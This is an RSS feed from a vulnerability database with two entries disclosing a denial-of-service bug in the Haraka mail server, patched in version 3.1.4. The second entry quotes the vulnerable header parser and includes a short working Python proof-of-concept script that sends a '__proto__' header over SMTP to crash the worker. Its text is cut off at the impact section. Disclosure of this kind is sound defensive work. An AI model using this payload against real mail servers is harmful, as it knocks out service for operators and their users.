<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Thu, 01 Oct 2026 01:47:28 +0000</lastBuildDate>
    <item>
      <title>CVE-2026-34752 — Haraka affected by DoS via `__proto__` email header</title>
      <link>https://vulnerability.circl.lu/vuln/cve-2026-34752</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Haraka&lt;/p&gt;
&lt;p&gt;Haraka is a Node.js mail server. Prior to version 3.1.4, sending an email with __proto__: as a header name crashes the Haraka worker process. This issue has been patched in version 3.1.4.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Haraka&lt;/p&gt;
&lt;p&gt;Haraka is a Node.js mail server. Prior to version 3.1.4, sending an email with __proto__: as a header name crashes the Haraka worker process. This issue has been patched in version 3.1.4.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/cve-2026-34752</guid>
    </item>
    <item>
      <title>GHSA-xph3-r2jf-4vp3 — Haraka affected by DoS via `__proto__` email header</title>
      <link>https://vulnerability.circl.lu/vuln/ghsa-xph3-r2jf-4vp3</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: Haraka&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;Sending an email with `__proto__:` as a header name crashes the Haraka worker process.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;The header parser at `node_modules/haraka-email-message/lib/header.js:215-218` stores headers in a plain `{}` object:&lt;/p&gt;
&lt;p&gt;```javascript
_add_header(key, value, method) {
    this.headers[key] ??= []          // line 216
    this.headers[key][method](value)  // line 217
}
```&lt;/p&gt;
&lt;p&gt;When `key` is `__proto__`:
1. `this.headers[&amp;#39;__proto__&amp;#39;]` returns `Object.prototype` (the prototype getter)
2. `Object.prototype` is not null/undefined, so `??=` is skipped
3. `Object.prototype.push(value)` throws `TypeError: not a function`&lt;/p&gt;
&lt;p&gt;The TypeError reaches the global `uncaughtException` handler at `haraka.js:26-33`, which calls `process.exit(1)`:&lt;/p&gt;
&lt;p&gt;```js
process.on(&amp;#39;uncaughtException&amp;#39;, (err) =&amp;gt; {
    if (err.stack) {
        err.stack.split(&amp;#39;\n&amp;#39;).forEach((line) =&amp;gt; logger.crit(line))
    } else {
        logger.crit(`Caught exception: ${JSON.stringify(err)}`)
    }
    logger.dump_and_exit(1)
})
```&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;```python
import socket, time&lt;/p&gt;
&lt;p&gt;sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect((&amp;#34;127.0.0.1&amp;#34;, 2525))
sock.recv(4096)
sock.sendall(b&amp;#34;EHLO evil\r\n&amp;#34;); sock.recv(4096)
sock.sendall(b&amp;#34;MAIL FROM:&amp;lt;x@x.com&amp;gt;\r\n&amp;#34;); sock.recv(4096)
sock.sendall(b&amp;#34;RCPT TO:&amp;lt;user@haraka.local&amp;gt;\r\n&amp;#34;); sock.recv(4096)
sock.sendall(b&amp;#34;DATA\r\n&amp;#34;); sock.recv(4096)
# Crash payload
sock.sendall(b&amp;#34;From: x@x.com\r\n__proto__: crash\r\n\r\nbody\r\n.\r\n&amp;#34;)
```&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;In single-…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: Haraka&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;Sending an email with `__proto__:` as a header name crashes the Haraka worker process.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;The header parser at `node_modules/haraka-email-message/lib/header.js:215-218` stores headers in a plain `{}` object:&lt;/p&gt;
&lt;p&gt;```javascript
_add_header(key, value, method) {
    this.headers[key] ??= []          // line 216
    this.headers[key][method](value)  // line 217
}
```&lt;/p&gt;
&lt;p&gt;When `key` is `__proto__`:
1. `this.headers[&amp;#39;__proto__&amp;#39;]` returns `Object.prototype` (the prototype getter)
2. `Object.prototype` is not null/undefined, so `??=` is skipped
3. `Object.prototype.push(value)` throws `TypeError: not a function`&lt;/p&gt;
&lt;p&gt;The TypeError reaches the global `uncaughtException` handler at `haraka.js:26-33`, which calls `process.exit(1)`:&lt;/p&gt;
&lt;p&gt;```js
process.on(&amp;#39;uncaughtException&amp;#39;, (err) =&amp;gt; {
    if (err.stack) {
        err.stack.split(&amp;#39;\n&amp;#39;).forEach((line) =&amp;gt; logger.crit(line))
    } else {
        logger.crit(`Caught exception: ${JSON.stringify(err)}`)
    }
    logger.dump_and_exit(1)
})
```&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;```python
import socket, time&lt;/p&gt;
&lt;p&gt;sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect((&amp;#34;127.0.0.1&amp;#34;, 2525))
sock.recv(4096)
sock.sendall(b&amp;#34;EHLO evil\r\n&amp;#34;); sock.recv(4096)
sock.sendall(b&amp;#34;MAIL FROM:&amp;lt;x@x.com&amp;gt;\r\n&amp;#34;); sock.recv(4096)
sock.sendall(b&amp;#34;RCPT TO:&amp;lt;user@haraka.local&amp;gt;\r\n&amp;#34;); sock.recv(4096)
sock.sendall(b&amp;#34;DATA\r\n&amp;#34;); sock.recv(4096)
# Crash payload
sock.sendall(b&amp;#34;From: x@x.com\r\n__proto__: crash\r\n\r\nbody\r\n.\r\n&amp;#34;)
```&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;In single-…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/ghsa-xph3-r2jf-4vp3</guid>
    </item>
  </channel>
</rss>
